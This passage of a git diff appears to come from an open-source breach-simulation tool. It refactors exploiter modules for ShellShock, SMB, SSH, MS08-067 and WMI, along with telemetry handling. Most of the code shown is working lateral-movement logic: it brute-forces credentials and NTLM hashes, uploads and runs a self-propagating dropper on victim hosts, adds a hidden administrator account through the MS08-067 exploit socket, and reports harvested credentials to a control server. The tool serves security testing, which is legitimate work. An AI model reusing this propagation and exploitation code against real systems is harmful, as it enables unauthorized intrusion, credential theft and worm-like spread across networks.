"%s %s" % (dropper_target_path_linux, MONKEY_ARG) - cmdline += build_monkey_commandline(host, depth - 1) + ' & ' + cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & ' run_path = exploit + cmdline self.attack_page(url, header, run_path) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, host, cmdline) + self._config.dropper_target_path_linux, self.host, cmdline) if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") @@ -146,6 +145,8 @@ class ShellShockExploiter(HostExploiter): return True + return False + @classmethod def check_remote_file_exists(cls, url, header, exploit, file_path): """ @@ -206,10 +207,3 @@ class ShellShockExploiter(HostExploiter): urls = [resp.url for resp in valid_resps] return urls - - @staticmethod - def report_vuln_shellshock(host, url): - from control import ControlClient - ControlClient.send_telemetry('exploit', {'vulnerable': True, 'machine': host.__dict__, - 'exploiter': ShellShockExploiter.__name__, - 'url': url}) diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index 98aeaf24e..0fc1f27fe 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -1,67 +1,52 @@ -import sys from logging import getLogger -from model.host import VictimHost -from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS -from exploit import HostExploiter -from network.tools import check_port_tcp -from exploit.tools import SmbTools, get_target_monkey -from network import SMBFinger -from tools import build_monkey_commandline, report_failed_login -try: - from impacket import smb - from impacket import uuid - # from impacket.dcerpc import dcerpc - from impacket.dcerpc.v5 import transport, scmr - from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT - from impacket.smb import SessionError as SessionError2 - from impacket.smb3 import SessionError as SessionError3 -except ImportError as exc: - print str(exc) - print 'Install the following library to make this script work' - print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' - print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' - raise +from impacket.dcerpc.v5 import transport, scmr +from impacket.smbconnection import SMB_DIALECT + +from exploit import HostExploiter +from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth +from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS +from network import SMBFinger +from network.tools import check_port_tcp +from tools import build_monkey_commandline LOG = getLogger(__name__) class SmbExploiter(HostExploiter): - _target_os_type = ['windows'] - + _TARGET_OS_TYPE = ['windows'] KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), } USE_KERBEROS = False - def __init__(self): + def __init__(self, host): + super(SmbExploiter, self).__init__(host) self._config = __import__('config').WormConfiguration self._guid = __import__('config').GUID - def is_os_supported(self, host): - if host.os.get('type') in self._target_os_type: + def is_os_supported(self): + if super(SmbExploiter, self).is_os_supported(): return True - if not host.os.get('type'): - is_smb_open, _ = check_port_tcp(host.ip_addr, 445) + if not self.host.os.get('type'): + is_smb_open, _ = check_port_tcp(self.host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() - smb_finger.get_host_fingerprint(host) + smb_finger.get_host_fingerprint(self.host) else: - is_nb_open, _ = check_port_tcp(host.ip_addr, 139) + is_nb_open, _ = check_port_tcp(self.host.ip_addr, 139) if is_nb_open: - host.os['type'] = 'windows' - return host.os.get('type') in self._target_os_type + self.host.os['type'] = 'windows' + return self.host.os.get('type') in self._TARGET_OS_TYPE return False - def exploit_host(self, host, depth=-1, src_path=None): - assert isinstance(host, VictimHost) - - src_path = src_path or get_target_monkey(host) + def exploit_host(self): + src_path = get_target_monkey(self.host) if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", host) + LOG.info("Can't find suitable monkey executable for host %r", self.host) return False creds = self._config.get_exploit_user_password_or_hash_product() @@ -70,7 +55,7 @@ class SmbExploiter(HostExploiter): for user, password, lm_hash, ntlm_hash in creds: try: # copy the file remotely using SMB - remote_full_path = SmbTools.copy_file(host, + remote_full_path = SmbTools.copy_file(self.host, src_path, self._config.dropper_target_path, user, @@ -81,17 +66,17 @@ class SmbExploiter(HostExploiter): if remote_full_path is not None: LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)", - host, user, password, lm_hash, ntlm_hash) - host.learn_credentials(user, password) + self.host, user, password, lm_hash, ntlm_hash) + self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) exploited = True break else: # failed exploiting with this user/pass - report_failed_login(self, host, user, password, lm_hash, ntlm_hash) + self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) except Exception as exc: LOG.debug("Exception when trying to copy file using SMB to %r with user:" - " %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", host, + " %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host, user, password, lm_hash, ntlm_hash, exc) continue @@ -105,10 +90,10 @@ class SmbExploiter(HostExploiter): else: cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} - cmdline += build_monkey_commandline(host, depth - 1) + cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): - rpctransport = transport.DCERPCTransportFactory(str_bind_format % (host.ip_addr,)) + rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,)) rpctransport.set_dport(port) if hasattr(rpctransport, 'preferred_dialect'): @@ -125,7 +110,7 @@ class SmbExploiter(HostExploiter): scmr_rpc.connect() except Exception as exc: LOG.warn("Error connecting to SCM on exploited machine %r: %s", - host, exc) + self.host, exc) return False smb_conn = rpctransport.get_smb_connection() @@ -150,6 +135,6 @@ class SmbExploiter(HostExploiter): scmr.hRCloseServiceHandle(scmr_rpc, service) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", - remote_full_path, host, cmdline) + remote_full_path, self.host, cmdline) return True diff --git a/chaos_monkey/exploit/sshexec.py b/chaos_monkey/exploit/sshexec.py index 0717f5f96..f58e5677b 100644 --- a/chaos_monkey/exploit/sshexec.py +++ b/chaos_monkey/exploit/sshexec.py @@ -1,13 +1,14 @@ -import paramiko import logging import time -from itertools import product + +import paramiko + import monkeyfs -from tools import build_monkey_commandline, report_failed_login from exploit import HostExploiter +from exploit.tools import get_target_monkey, get_monkey_depth from model import MONKEY_ARG -from exploit.tools import get_target_monkey from network.tools import check_port_tcp +from tools import build_monkey_commandline __author__ = 'hoffer' @@ -17,9 +18,10 @@ TRANSFER_UPDATE_RATE = 15 class SSHExploiter(HostExploiter): - _target_os_type = ['linux', None] + _TARGET_OS_TYPE = ['linux', None] - def __init__(self): + def __init__(self, host): + super(SSHExploiter, self).__init__(host) self._config = __import__('config').WormConfiguration self._update_timestamp = 0 self.skip_exist = self._config.skip_exploit_if_file_exist @@ -29,19 +31,19 @@ class SSHExploiter(HostExploiter): LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) self._update_timestamp = time.time() - def exploit_host(self, host, depth=-1, src_path=None): + def exploit_host(self): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) port = SSH_PORT # if ssh banner found on different port, use that port. - for servkey, servdata in host.services.items(): + for servkey, servdata in self.host.services.items(): if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): port = int(servkey.replace('tcp-', '')) - is_open, _ = check_port_tcp(host.ip_addr, port) + is_open, _ = check_port_tcp(self.host.ip_addr, port) if not is_open: - LOG.info("SSH port is closed on %r, skipping", host) + LOG.info("SSH port is closed on %r, skipping", self.host) return False user_password_pairs = self._config.get_exploit_user_password_pairs() @@ -49,63 +51,63 @@ class SSHExploiter(HostExploiter): exploited = False for user, curpass in user_password_pairs: try: - ssh.connect(host.ip_addr, + ssh.connect(self.host.ip_addr, username=user, password=curpass, port=port, timeout=None) LOG.debug("Successfully logged in %r using SSH (%s : %s)", - host, user, curpass) - host.learn_credentials(user, curpass) + self.host, user, curpass) + self.report_login_attempt(True, user, curpass) exploited = True break - except Exception, exc: + except Exception as exc: LOG.debug("Error logging into victim %r with user" - " %s and password '%s': (%s)", host, + " %s and password '%s': (%s)", self.host, user, curpass, exc) - report_failed_login(self, host, user, curpass) + self.report_login_attempt(False, user, curpass) continue if not exploited: LOG.debug("Exploiter SSHExploiter is giving up...") return False - if not host.os.get('type'): + if not self.host.os.get('type'): try: _, stdout, _ = ssh.exec_command('uname -o') uname_os = stdout.read().lower().strip() if 'linux' in uname_os: - host.os['type'] = 'linux' + self.host.os['type'] = 'linux' else: LOG.info("SSH Skipping unknown os: %s", uname_os) return False - except Exception, exc: - LOG.debug("Error running uname os commad on victim %r: (%s)", host, exc) + except Exception as exc: + LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc) return False - if not host.os.get('machine'): + if not self.host.os.get('machine'): try: _, stdout, _ = ssh.exec_command('uname -m') uname_machine = stdout.read().lower().strip() if '' != uname_machine: - host.os['machine'] = uname_machine - except Exception, exc: - LOG.debug("Error running uname machine commad on victim %r: (%s)", host, exc) + self.host.os['machine'] = uname_machine + except Exception as exc: + LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc) if self.skip_exist: _, stdout, stderr = ssh.exec_command("head -c 1 %s" % self._config.dropper_target_path_linux) stdout_res = stdout.read().strip() if stdout_res: # file exists - LOG.info("Host %s was already infected under the current configuration, done" % host) + LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True # return already infected - src_path = src_path or get_target_monkey(host) + src_path = get_target_monkey(self.host) if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", host) + LOG.info("Can't find suitable monkey executable for host %r", self.host) return False try: @@ -115,25 +117,25 @@ class SSHExploiter(HostExploiter): with monkeyfs.open(src_path) as file_obj: ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer) - ftp.chmod(self._config.dropper_target_path_linux, 0777) + ftp.chmod(self._config.dropper_target_path_linux, 0o777) ftp.close() - except Exception, exc: - LOG.debug("Error uploading file into victim %r: (%s)", host, exc) + except Exception as exc: + LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc) return False try: cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) - cmdline += build_monkey_commandline(host, depth-1) + cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) cmdline += "&" ssh.exec_command(cmdline) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, host, cmdline) - + self._config.dropper_target_path_linux, self.host, cmdline) + ssh.close() return True - except Exception, exc: - LOG.debug("Error running monkey on victim %r: (%s)", host, exc) + except Exception as exc: + LOG.debug("Error running monkey on victim %r: (%s)", self.host, exc) return False diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index 0903d85c8..1fc76147a 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -469,21 +469,13 @@ def build_monkey_commandline(target_host, depth, location=None): GUID, target_host.default_tunnel, target_host.default_server, depth, location) -def report_failed_login(exploiter, machine, user, password='', lm_hash='', ntlm_hash=''): - from control import ControlClient - telemetry_dict = \ - {'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__, - 'user': user, 'password': password} - if lm_hash: - telemetry_dict['lm_hash'] = lm_hash - if ntlm_hash: - telemetry_dict['ntlm_hash'] = ntlm_hash - - ControlClient.send_telemetry('exploit', telemetry_dict) - - def get_binaries_dir_path(): if getattr(sys, 'frozen', False): return sys._MEIPASS else: return os.path.dirname(os.path.abspath(__file__)) + + +def get_monkey_depth(): + from config import WormConfiguration + return WormConfiguration.depth diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py index 3a15d135e..3ed553931 100644 --- a/chaos_monkey/exploit/win_ms08_067.py +++ b/chaos_monkey/exploit/win_ms08_067.py @@ -6,36 +6,21 @@ # Email: d3basis.m0hanty @ gmail.com ############################################################################# -import sys -import time import socket +import time from logging import getLogger from enum import IntEnum +from impacket import uuid +from impacket.dcerpc.v5 import transport -from exploit.tools import SmbTools, get_target_monkey +from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS -from model.host import VictimHost from network import SMBFinger from network.tools import check_port_tcp from tools import build_monkey_commandline from . import HostExploiter -try: - from impacket import smb - from impacket import uuid - # from impacket.dcerpc import dcerpc - from impacket.dcerpc.v5 import transport - from impacket.smbconnection import SessionError as SessionError1 - from impacket.smb import SessionError as SessionError2 - from impacket.smb3 import SessionError as SessionError3 -except ImportError as exc: - print str(exc) - print 'Install the following library to make this script work' - print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' - print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' - sys.exit(1) - LOG = getLogger(__name__) # Portbind shellcode from metasploit; Binds port to TCP port 4444 @@ -167,59 +152,59 @@ class SRVSVC_Exploit(object): class Ms08_067_Exploiter(HostExploiter): - _target_os_type = ['windows'] + _TARGET_OS_TYPE = ['windows'] _windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2, 'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2} - def __init__(self): + def __init__(self, host): + super(Ms08_067_Exploiter, self).__init__(host) self._config = __import__('config').WormConfiguration self._guid = __import__('config').GUID - def is_os_supported(self, host): - if host.os.get('type') in self._target_os_type and \ - host.os.get('version') in self._windows_versions.keys(): + def is_os_supported(self): + if self.host.os.get('type') in self._TARGET_OS_TYPE and \ + self.host.os.get('version') in self._windows_versions.keys(): return True - if not host.os.get('type') or (host.os.get('type') in self._target_os_type and not host.os.get('version')): - is_smb_open, _ = check_port_tcp(host.ip_addr, 445) + if not self.host.os.get('type') or ( + self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')): + is_smb_open, _ = check_port_tcp(self.host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() - if smb_finger.get_host_fingerprint(host): - return host.os.get('type') in self._target_os_type and \ - host.os.get('version') in self._windows_versions.keys() + if smb_finger.get_host_fingerprint(self.host): + return self.host.os.get('type') in self._TARGET_OS_TYPE and \ + self.host.os.get('version') in self._windows_versions.keys() return False - def exploit_host(self, host, depth=-1, src_path=None): - assert isinstance(host, VictimHost) - - src_path = src_path or get_target_monkey(host) + def exploit_host(self): + src_path = get_target_monkey(self.host) if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", host) + LOG.info("Can't find suitable monkey executable for host %r", self.host) return False - os_version = self._windows_versions.get(host.os.get('version'), WindowsVersion.Windows2003_SP2) + os_version = self._windows_versions.get(self.host.os.get('version'), WindowsVersion.Windows2003_SP2) exploited = False for _ in range(self._config.ms08_067_exploit_attempts): - exploit = SRVSVC_Exploit(target_addr=host.ip_addr, os_version=os_version) + exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr, os_version=os_version) try: sock = exploit.start() sock.send("cmd /c (net user %s %s /add) &&" - " (net localgroup administrators %s /add)\r\n" % \ + " (net localgroup administrators %s /add)\r\n" % (self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_pass, self._config.ms08_067_remote_user_add)) time.sleep(2) reply = sock.recv(1000) - LOG.debug("Exploited into %r using MS08-067", host) + LOG.debug("Exploited into %r using MS08-067", self.host) exploited = True break except Exception as exc: - LOG.debug("Error exploiting victim %r: (%s)", host, exc) + LOG.debug("Error exploiting victim %r: (%s)", self.host, exc) continue if not exploited: @@ -227,7 +212,7 @@ class Ms08_067_Exploiter(HostExploiter): return False # copy the file remotely using SMB - remote_full_path = SmbTools.copy_file(host, + remote_full_path = SmbTools.copy_file(self.host, src_path, self._config.dropper_target_path, self._config.ms08_067_remote_user_add, @@ -236,7 +221,7 @@ class Ms08_067_Exploiter(HostExploiter): if not remote_full_path: # try other passwords for administrator for password in self._config.exploit_password_list: - remote_full_path = SmbTools.copy_file(host, + remote_full_path = SmbTools.copy_file(self.host, src_path, self._config.dropper_target_path, "Administrator", @@ -250,16 +235,16 @@ class Ms08_067_Exploiter(HostExploiter): # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(host, depth - 1, self._config.dropper_target_path) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ - build_monkey_commandline(host, depth - 1) + build_monkey_commandline(self.host, get_monkey_depth() - 1) try: sock.send("start %s\r\n" % (cmdline,)) sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,)) except Exception as exc: - LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc) + LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc) return False finally: try: @@ -268,6 +253,6 @@ class Ms08_067_Exploiter(HostExploiter): pass LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", - remote_full_path, host, cmdline) + remote_full_path, self.host, cmdline) return True diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index 05751f2d5..1a77a7347 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -1,80 +1,81 @@ -import socket -import ntpath import logging +import ntpath +import socket import traceback -from tools import build_monkey_commandline -from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS -from model.host import VictimHost -from exploit import HostExploiter -from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login + from impacket.dcerpc.v5.rpcrt import DCERPCException +from exploit import HostExploiter +from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, get_monkey_depth +from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS +from tools import build_monkey_commandline + LOG = logging.getLogger(__name__) class WmiExploiter(HostExploiter): - _target_os_type = ['windows'] + _TARGET_OS_TYPE = ['windows'] - def __init__(self): + def __init__(self, host): + super(WmiExploiter, self).__init__(host) self._config = __import__('config').WormConfiguration self._guid = __import__('config').GUID @WmiTools.dcom_wrap - def exploit_host(self, host, depth=-1, src_path=None): - assert isinstance(host, VictimHost) - - src_path = src_path or get_target_monkey(host) + def exploit_host(self): + src_path = get_target_monkey(self.host) if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", host) + LOG.info("Can't find suitable monkey executable for host %r", self.host) return False creds = self._config.get_exploit_user_password_or_hash_product() for user, password, lm_hash, ntlm_hash in creds: LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", - host, user, password, lm_hash, ntlm_hash) + self.host, user, password, lm_hash, ntlm_hash) wmi_connection = WmiTools.WmiConnection() try: - wmi_connection.connect(host, user, password, None, lm_hash, ntlm_hash) + wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash) except AccessDeniedException: + self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) LOG.debug("Failed connecting to %r using WMI with " "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", - host, user, password, lm_hash, ntlm_hash) + self.host, user, password, lm_hash, ntlm_hash) continue - except DCERPCException as exc: - report_failed_login(self, host, user, password, lm_hash, ntlm_hash) + except DCERPCException: + self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) LOG.debug("Failed connecting to %r using WMI with " "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", - host, user, password, lm_hash, ntlm_hash) + self.host, user, password, lm_hash, ntlm_hash) continue - except socket.error as exc: + except socket.error: LOG.debug("Network error in WMI connection to %r with " "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", - host, user, password, lm_hash, ntlm_hash) + self.host, user, password, lm_hash, ntlm_hash) return False except Exception as exc: LOG.debug("Unknown WMI connection error to %r with " "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s", - host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc()) + self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc()) return False - host.learn_credentials(user, password) + self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) # query process list and check if monkey already running on victim process_list = WmiTools.list_object(wmi_connection, "Win32_Process", - fields=("Caption", ), + fields=("Caption",), where="Name='%s'" % ntpath.split(src_path)[-1]) if process_list: wmi_connection.close() - LOG.debug("Skipping %r - already infected", host) + LOG.debug("Skipping %r - already infected", self.host) return False # copy the file remotely using SMB - remote_full_path = SmbTools.copy_file(host, + remote_full_path = SmbTools.copy_file(self.host, src_path, self._config.dropper_target_path, user, @@ -89,10 +90,10 @@ class WmiExploiter(HostExploiter): # execute the remote dropper in case the path isn't final elif remote_full_path.lower() != self._config.dropper_target_path.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(host, depth - 1, self._config.dropper_target_path) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ - build_monkey_commandline(host, depth - 1) + build_monkey_commandline(self.host, get_monkey_depth() - 1) # execute the remote monkey result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline, @@ -101,11 +102,11 @@ class WmiExploiter(HostExploiter): if (0 != result.ProcessId) and (0 == result.ReturnValue): LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", - remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline) + remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline) success = True else: LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", - remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline) + remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline) success = False result.RemRelease() diff --git a/chaos_monkey/model/host.py b/chaos_monkey/model/host.py index 30434b723..502f81ca9 100644 --- a/chaos_monkey/model/host.py +++ b/chaos_monkey/model/host.py @@ -4,7 +4,6 @@ __author__ = 'itamar' class VictimHost(object): def __init__(self, ip_addr): self.ip_addr = ip_addr - self.cred = {} self.os = {} self.services = {} self.monkey_exe = None @@ -30,24 +29,19 @@ class VictimHost(object): return self.ip_addr.__cmp__(other.ip_addr) def __repr__(self): - return "" % (self.ip_addr, ) + return "" % self.ip_addr def __str__(self): victim = "Victim Host %s: " % self.ip_addr victim += "OS - [" - for k, v in self.os.iteritems(): + for k, v in self.os.items(): victim += "%s-%s " % (k, v) victim += "] Services - [" - for k, v in self.services.iteritems(): + for k, v in self.services.items(): victim += "%s-%s " % (k, v) victim += ']' + victim += "target monkey: %s" % self.monkey_exe return victim - def learn_credentials(self, username, password): - self.cred[username.lower()] = password - - def get_credentials(self, username): - return self.cred.get(username.lower(), None) - def set_default_server(self, default_server): self.default_server = default_server diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py index 17fc17bdd..79012dc39 100644 --- a/chaos_monkey/monkey.py +++ b/chaos_monkey/monkey.py @@ -109,7 +109,7 @@ class ChaosMonkey(object): self._network.initialize() - self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes] + self._exploiters = WormConfiguration.exploiter_classes self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes] @@ -152,34 +152,31 @@ class ChaosMonkey(object): machine.set_default_server(self._default_server) successful_exploiter = None - for exploiter in self._exploiters: - if not exploiter.is_os_supported(machine): + for exploiter in [exploiter(machine) for exploiter in self._exploiters]: + if not exploiter.is_os_supported(): LOG.info("Skipping exploiter %s host:%r, os is not supported", exploiter.__class__.__name__, machine) continue LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) + result = False try: - if exploiter.exploit_host(machine, WormConfiguration.depth): + result = exploiter.exploit_host() + if result: successful_exploiter = exploiter break else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) - ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, - 'exploiter': exploiter.__class__.__name__}) except Exception as exc: LOG.exception("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) - ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, - 'exploiter': exploiter.__class__.__name__}) - continue + finally: + exploiter.send_exploit_telemetry(result) if successful_exploiter: self._exploited_machines.add(machine) - ControlClient.send_telemetry('exploit', {'result': True, 'machine': machine.__dict__, - 'exploiter': successful_exploiter.__class__.__name__}) LOG.info("Successfully propagated to %s using %s", machine, successful_exploiter.__class__.__name__) diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 25f45212d..a5e9bac5b 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -1,15 +1,15 @@ import json -from datetime import datetime import traceback +from datetime import datetime import dateutil -from flask import request import flask_restful +from flask import request from cc.database import mongo +from cc.services.config import ConfigService from cc.services.edge import EdgeService from cc.services.node import NodeService -from cc.services.config import ConfigService __author__ = 'Barak' @@ -43,16 +43,7 @@ class Telemetry(flask_restful.Resource): monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) try: - if telemetry_json.get('telem_type') == 'tunnel': - self.process_tunnel_telemetry(telemetry_json) - elif telemetry_json.get('telem_type') == 'state': - self.process_state_telemetry(telemetry_json) - elif telemetry_json.get('telem_type') == 'exploit': - self.process_exploit_telemetry(telemetry_json) - elif telemetry_json.get('telem_type') == 'scan': - self.process_scan_telemetry(telemetry_json) - elif telemetry_json.get('telem_type') == 'system_info_collection': - self.process_system_info_telemetry(telemetry_json) + TELEM_PROCESS_DICT[telemetry_json.get('telem_type')](telemetry_json) NodeService.update_monkey_modify_time(monkey["_id"]) except StandardError as ex: print("Exception caught while processing telemetry: %s" % str(ex)) @@ -60,7 +51,8 @@ class Telemetry(flask_restful.Resource): return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) - def telemetry_to_displayed_telemetry(self, telemetry): + @staticmethod + def telemetry_to_displayed_telemetry(telemetry): monkey_guid_dict = {} monkeys = mongo.db.monkey.find({}) for monkey in monkeys: @@ -77,7 +69,8 @@ class Telemetry(flask_restful.Resource): return objects - def get_edge_by_scan_or_exploit_telemetry(self, telemetry_json): + @staticmethod + def get_edge_by_scan_or_exploit_telemetry(telemetry_json): dst_ip = telemetry_json['data']['machine']['ip_addr'] src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) dst_node = NodeService.get_monkey_by_ip(dst_ip) @@ -86,7 +79,8 @@ class Telemetry(flask_restful.Resource): return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"]) - def process_tunnel_telemetry(self, telemetry_json): + @staticmethod + def process_tunnel_telemetry(telemetry_json): monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"] if telemetry_json['data']['proxy'] is not None: tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "") @@ -94,32 +88,32 @@ class Telemetry(flask_restful.Resource): else: NodeService.unset_all_monkey_tunnels(monkey_id) - def process_state_telemetry(self, telemetry_json): + @staticmethod + def process_state_telemetry(telemetry_json): monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) if telemetry_json['data']['done']: NodeService.set_monkey_dead(monkey, True) else: NodeService.set_monkey_dead(monkey, False) - def process_exploit_telemetry(self, telemetry_json): - edge = self.get_edge_by_scan_or_exploit_telemetry(telemetry_json) - data = telemetry_json['data'] - data["machine"].pop("ip_addr") - new_exploit = \ - { - "timestamp": telemetry_json["timestamp"], - "data": data, - "exploiter": telemetry_json['data']['exploiter'] - } + @staticmethod + def process_exploit_telemetry(telemetry_json): + edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json) + new_exploit = telemetry_json['data'] + + new_exploit.pop('machine') + new_exploit['timestamp'] = telemetry_json['timestamp'] + mongo.db.edge.update( - {"_id": edge["_id"]}, - {"$push": {"exploits": new_exploit}} + {'_id': edge['_id']}, + {'$push': {'exploits': new_exploit}} ) - if data['result']: + if new_exploit['result']: EdgeService.set_edge_exploited(edge) - def process_scan_telemetry(self, telemetry_json): - edge = self.get_edge_by_scan_or_exploit_telemetry(telemetry_json) + @staticmethod + def process_scan_telemetry(telemetry_json): + edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json) data = telemetry_json['data']['machine'] ip_address = data.pop("ip_addr") new_scan = \ @@ -147,7 +141,8 @@ class Telemetry(flask_restful.Resource): {"$set": {"os.version": scan_os["version"]}}, upsert=False) - def process_system_info_telemetry(self, telemetry_json): + @staticmethod + def process_system_info_telemetry(telemetry_json): if 'credentials' in telemetry_json['data']: creds = telemetry_json['data']['credentials'] for user in creds: @@ -160,3 +155,11 @@ class Telemetry(flask_restful.Resource): ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) +TELEM_PROCESS_DICT = \ + { + 'tunnel': Telemetry.process_tunnel_telemetry, + 'state': Telemetry.process_state_telemetry, + 'exploit': Telemetry.process_exploit_telemetry, + 'scan': Telemetry.process_scan_telemetry, + 'system_info_collection': Telemetry.process_system_info_telemetry, + } \ No newline at end of file diff --git a/monkey_island/cc/services/edge.py b/monkey_island/cc/services/edge.py index 96d676c0e..308a57e55 100644 --- a/monkey_island/cc/services/edge.py +++ b/monkey_island/cc/services/edge.py @@ -24,66 +24,20 @@ class EdgeService: def edge_to_displayed_edge(edge): services = [] os = {} - exploits = [] + if len(edge["scans"]) > 0: services = 